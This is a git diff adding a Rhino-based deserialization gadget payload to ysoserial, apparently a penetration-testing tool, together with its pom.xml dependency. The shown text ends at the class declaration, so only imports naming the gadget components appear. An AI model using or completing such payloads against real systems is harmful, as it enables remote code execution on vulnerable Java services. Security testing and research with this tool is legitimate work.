diff --git a/pom.xml b/pom.xml
index b216df0..43ffc0d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -252,6 +252,11 @@
jython-standalone
2.5.2
+
+ rhino
+ js
+ 1.7R2
+
diff --git a/src/main/java/ysoserial/payloads/Rhino.java b/src/main/java/ysoserial/payloads/Rhino.java
new file mode 100644
index 0000000..c51bbc0
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Rhino.java
@@ -0,0 +1,66 @@
+package ysoserial.payloads;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import org.mozilla.javascript.*;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/*
+ by @matthias_kaiser
+*/
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"rhino:js:1.7R2"})
+public class Rhino implements ObjectPayload